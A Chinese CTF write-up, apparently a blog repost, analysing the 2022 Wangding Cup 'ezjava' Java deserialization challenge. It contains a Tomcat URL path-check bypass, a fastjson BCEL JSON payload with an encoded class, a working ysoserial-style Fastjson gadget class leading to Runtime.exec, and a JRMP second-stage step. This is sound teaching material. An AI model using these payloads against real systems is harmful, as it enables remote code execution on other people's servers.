首页 > 编程语言 >2022网鼎杯ezjava分析

2022网鼎杯ezjava分析

时间:2023-01-16 15:33:28浏览次数:62  
标签:aa ezjava invoke ea 2022 e4 网鼎杯 3f 3d

文章首发于sec-in https://www.sec-in.com/article/2042

拿到题目代码
只有一个EvilController控制器,获取base参数值然后base64解码后带入readObject,很明显的一个反序列化

这里首先是一个url解析绕过的考点,这个反序列化点匹配的路由是/Evil ,但是在方法里又用getRequestURI方法获得路径后用startWith判断是否是/Evil开头,是的话就直接return nonono了

给了docker镜像,看了一眼是jdk版本是8u71,服务器tomcat,那么就是一个很简单的tomcat的解析漏洞

直接访问/Evil是返回nonono

然后只要多加一个/就可以绕过了,其他的url编码或者用/a/../Evil这样跳目录也都是可以绕过的

这里报500是后面readObject反序列化时候的报错,没有返回nonono就代表绕过了

这个考点->使用getRequestURI或者getRequestURL获得路由路径然后做匹配校验导致的漏洞非常常见,不管是产线测试还是信创或者是挖其他友商的产品都遇到过很多次,是变授权漏洞为未授权漏洞的利器

然后接下来的思路就是看lib里面有什么可用的链,这是全部lib

可以看到是没有常见的commons-beanutils和commons-collections之类的的,但是有spring的一些jar,是不是可以用ysoserial中的spring1和spring2链呢,首先这里是雷子告诉我他用spring1和spring2都打不了,然后我平时也没有用过这两个链打过,就用ysoserial在本地试了一下,发现报错了,我本地的环境是8u201

这个报错结合docker环境中jdk8u71这个版本让我一下就意识到了应该是jdk版本太高的问题,因为这个报错其实就是CommonsCollections1和CommonsCollections3在jdk8u71以上的报错,根本原因是因为AnnotationInvocationHandler这个类的代码在jdk8u71发生了变化

这是Spring1的调用链

ObjectInputStream.readObject()
			SerializableTypeWrapper.MethodInvokeTypeProvider.readObject()
				SerializableTypeWrapper.TypeProvider(Proxy).getType()
					AnnotationInvocationHandler.invoke()
						HashMap.get()
				ReflectionUtils.findMethod()
				SerializableTypeWrapper.TypeProvider(Proxy).getType()
					AnnotationInvocationHandler.invoke()
						HashMap.get()
				ReflectionUtils.invokeMethod()
					Method.invoke()
						Templates(Proxy).newTransformer()
							AutowireUtils.ObjectFactoryDelegatingInvocationHandler.invoke()
								ObjectFactory(Proxy).getObject()
									AnnotationInvocationHandler.invoke()
										HashMap.get()
								Method.invoke()
									TemplatesImpl.newTransformer()
										TemplatesImpl.getTransletInstance()
											TemplatesImpl.defineTransletClasses()
												TemplatesImpl.TransletClassLoader.defineClass()
													Pwner*(Javassist-generated).<static init>
														Runtime.exec()

这是cc1的调用链


	Gadget chain:
		ObjectInputStream.readObject()
			AnnotationInvocationHandler.readObject()
				Map(Proxy).entrySet()
					AnnotationInvocationHandler.invoke()
						LazyMap.get()
							ChainedTransformer.transform()
								ConstantTransformer.transform()
								InvokerTransformer.transform()
									Method.invoke()
										Class.getMethod()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.getRuntime()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.exec()

都是从AnnotationInvocationHandler.invoke()到xxMap.get(), jdk代码修改以后这个xxMap在AnnotationInvocationHandler.invoke()中对xxMap.get()的调用已经变成了固定的LinkedHashMap,没办法再自己控制从而进入后续流程

然后我用了一下午企图绕过这个限制,发现,嗯,没绕过

后续在p师傅的知识星球得到了一个正确解法,并不是绕过Spring链,而是使用了fastjson这个包

首先回顾一下fastjson反序列化中的bcel链(针对Json.parse()):

{
    {
        "@type": "com.alibaba.fastjson.JSONObject",
        "aaa":{
                "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AuQ$cbn$daP$Q$3d$X$M6$8e$J$8f$U$f2h$9e$7d$C$L$yu$L$ea$a6J7u$93$wD$e9$fa$fa$e6$8a$5e062$97$88$3f$ea$9a$N$ad$ba$e8$H$f4$a3$aa$ccu$9eRZK$9e$f1$9c$99s$e6$8c$fc$e7$ef$af$df$A$de$e1$8d$L$H$9b$$$b6$b0$ed$60$c7$e4$e76v$5d$U$b0gc$df$c6$BC$b1$afb$a5$df3$e4$5b$ed$L$G$ebCr$v$Z$w$81$8a$e5$c9$7c$S$ca$f4$9c$87$R$n$f5$m$R$3c$ba$e0$a92$f5$zh$e9oj$c6$b0$j$88d$e2_$f2t$y$d30Y$f8$a1$90$91$7f$7c$a5$a2$k$83$d3$X$d1$ed$GF$8cF0$e2W$dc$8fx$3c$f4$8f$XBN$b5Jb$g$x$P4$X$e3$cf$7c$9a$v$93I$Gw$90$ccS$n$3f$w$b3$a9d$e4$ba$86$eb$a1$E$d7$c6$a1$87$p$bc$m$7dr$r$bar$n$3d$bc$c4$x$86$8d$7f$e8$7bx$N$97a$f3$3f$$$Z$aa$P$a4$d3p$q$85f$a8$3d$40g$f3X$ab$J$99p$87R$df$X$8dV$3bx2C$97X$e4E0$bcm$3d$ea$Ot$aa$e2a$ef1$e1K$9a$I9$9b$R$a12$a5$a6$ce$ee$3fO$b9$90t$97M$bf$cd$3c90s$z$c55$aa$7c$ca$8cr$a1$f3$Dl$99$b5$3d$8a$c5$M$cc$a3L$d1$bb$Z$c0$3a$w$94$jT$ef$c9$3c$T$D$ea$3f$91$ab$e7W$b0$be$7e$87$f3$a9$b3Bq$99$e1$r$e2$WH$c5$u6$e9$cb$e8$962$d4$se$H5R$ba$dbP$86Eu$9d$aa$Nzm$e4$C$h$cf$yj42S$cdk$dfl$i$C$80$C$A$A"
        }
    }: "xxx"
}

这个bcel链的原理和常规的fastjson payload不同,JsonObject作为Map的子类,此处

 {
        "@type": "com.alibaba.fastjson.JSONObject",
        "aaa":{
                "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AuQ$cbn$daP$Q$3d$X$M6$8e$J$8f$U$f2h$9e$7d$C$L$yu$L$ea$a6J7u$93$wD$e9$fa$fa$e6$8a$5e062$97$88$3f$ea$9a$N$ad$ba$e8$H$f4$a3$aa$ccu$9eRZK$9e$f1$9c$99s$e6$8c$fc$e7$ef$af$df$A$de$e1$8d$L$H$9b$$$b6$b0$ed$60$c7$e4$e76v$5d$U$b0gc$df$c6$BC$b1$afb$a5$df3$e4$5b$ed$L$G$ebCr$v$Z$w$81$8a$e5$c9$7c$S$ca$f4$9c$87$R$n$f5$m$R$3c$ba$e0$a92$f5$zh$e9oj$c6$b0$j$88d$e2_$f2t$y$d30Y$f8$a1$90$91$7f$7c$a5$a2$k$83$d3$X$d1$ed$GF$8cF0$e2W$dc$8fx$3c$f4$8f$XBN$b5Jb$g$x$P4$X$e3$cf$7c$9a$v$93I$Gw$90$ccS$n$3f$w$b3$a9d$e4$ba$86$eb$a1$E$d7$c6$a1$87$p$bc$m$7dr$r$bar$n$3d$bc$c4$x$86$8d$7f$e8$7bx$N$97a$f3$3f$$$Z$aa$P$a4$d3p$q$85f$a8$3d$40g$f3X$ab$J$99p$87R$df$X$8dV$3bx2C$97X$e4E0$bcm$3d$ea$Ot$aa$e2a$ef1$e1K$9a$I9$9b$R$a12$a5$a6$ce$ee$3fO$b9$90t$97M$bf$cd$3c90s$z$c55$aa$7c$ca$8cr$a1$f3$Dl$99$b5$3d$8a$c5$M$cc$a3L$d1$bb$Z$c0$3a$w$94$jT$ef$c9$3c$T$D$ea$3f$91$ab$e7W$b0$be$7e$87$f3$a9$b3Bq$99$e1$r$e2$WH$c5$u6$e9$cb$e8$962$d4$se$H5R$ba$dbP$86Eu$9d$aa$Nzm$e4$C$h$cf$yj42S$cdk$dfl$i$C$80$C$A$A"
        }
}

这个部分是一个JSONObject对象,是map中的key,后面的xxx是value。

接着在DefaultJSONParser.parseObject对key调用toString方法

在toString接着调用toJsonString ,在toJsonString中使用ASM生成内存字节码然后调用所有getter,毕竟执行toString()就意味着将当前对象转为字符串形式,也就会提取类中所有Field,自然会执行相应的getter方法。

这个payload的写法是为了绕过Json.parse无法执行所有getter,如果是Json.parseObject就不需要这样key-value来写

那么我们就知道了存在toString->toJsonString->getter 这样的一段调用链,而从CommonsCollections5链中可以知道存在BadAttributeValueExpException类的readObject会触发传入对象的toString方法,又从jdk7u21链知道TemplatesImpl类中存在getOutputProperties可以加载任意字节码达到执行任意命令的效果,那么最终的序列化代码就呼之欲出了

public class Fastjson extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {
    @Override
    public BadAttributeValueExpException getObject(String command) throws
        Exception {
        Object templatesImpl = Gadgets.createTemplatesImpl(command);
        JSONObject jo = new JSONObject();
        jo.put("oops",templatesImpl);
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        Reflections.setAccessible(valfield);
        valfield.set(val, jo);
        return val;
    }
    public static boolean isApplicableJavaVersion() {
        return JavaVersion.isBadAttrValExcReadObj();
    }
    public static void main(final String[] args) throws Exception {
        PayloadRunner.run(Fastjson.class, args);
    }
}

就是把BadAttributeValueExpException的val属性设置为一个JSONObject对象,这个JSONObject对象的value为TemplatesImpl类,就可以触发getOutputProperties

执行时调用堆栈如下:

可用的链找到了,但是这里还有一个新的问题,直接用生成的payload来打报错找不到fastjson的JSONObject类

原因是EInputStream类中的重写的resoveClass方法会设置类加载器为BootStrap ClassLoader也就是启动类加载器,因此无法加载第三方了类而只能加载jdk自带的类

用jrmpclient二次反序列化即可

JRMPClient生成payload

JRMPListener 监听2333端口选择Fastjson利用链即可成功执行命令

标签:aa,ezjava,invoke,ea,2022,e4,网鼎杯,3f,3d
From: https://www.cnblogs.com/escape-w/p/17055492.html

相关文章

  • 回首2022展望2023
    回首2022,虽然经历反复的居家办公,但仍然努力客服家庭与工作的时间冲突,很好的完成了开发任务。并在疫情变换间隙,带着部门同事做了几次团建,锻炼了队伍,提高了凝聚力。我同时坚信......
  • 2022年终感悟-时光债务
    前言首先说明一下,这可以算是我2022年的总结感悟,或许会有些许的负能量,介意的小伙伴建议直接关闭阅读。其实不是很想写年终总结,因为总感觉转眼间一年又过去,自己还是一事无......
  • 踔厉奋发,笃行不怠——2022年度引迈信息年终总结
    福建引迈信息技术有限公司自2019年10月21日成立以来,已携手大家走过了三年时光。三年间,引迈信息不断探索着未来科技行业的发展方向,以科技为本,与时俱进!引迈信息全体员工,上下......
  • 2022世界杯上的半自动化越位技术浅析
        2022年的世界杯用了很多的新技术,比如半自动化越位技术、比赛用球AIRihla、球场智能空调、FeelixPalm辅助技术、可持续利用的体育场。    这场比赛中给......
  • 【干货】2022鹏业安装算量软件10个常见问题整理
    1、图纸导入捕捉点不精确操作步骤:①底图按钮;进入底图状态②鼠标右键;底图无法捕捉③根据提示框选图纸范围2、管道保温不出量操作步骤:①查看主项规格,类别,保温厚度是否设......
  • 2022秋招总结
    19年乘着人见人吹的计算机大热,跨考计算机一站未果,二战上岸本校计算机。研二暑期留校科研,很幸运做出来两篇文章,接下来可以去实习了。从12月到2月,断断续续复习Java后端开发......
  • 最详细破解nessus(windows)教程 插件更新至20220613
    Nessus是全世界最多人使用的系统漏洞扫描与分析软件。总共有超过75,000个机构使用Nessus作为扫描该机构电脑系统的软件。企业安全的好伙伴一、安装1、nessus官网下载......
  • 2022年上半年网络安全应急响应分析报告 学习笔记
    声明本文是学习2022年上半年网络安全应急响应分析报告.而整理的学习笔记,分享出来希望更多人受益,如果存在侵权请及时联系我们2022年上半年应急2022年1-6月,奇安信集团......
  • 中国各省新冠肺炎感染率数据(2022-2023)
    中国各省新冠肺炎感染率数据(2022-2023)中国各省新冠肺炎感染率数据(2022-2023)中国各省新冠肺炎感染率数据(2022-2023)最新版数据已整理为Excel格式,数据的时间区间为2022-2023年,......
  • 【虹科新闻】虹科被评为“2022年广东省‘专精特新’中小企业”
    近日,广东省工业和信息化厅对2022年专精特新中小企业和2019年到期复核通过企业名单进行公示,虹科顺利被评为“2022年广东省‘专精特新’中小企业”。​图:广东省工业和信息化厅......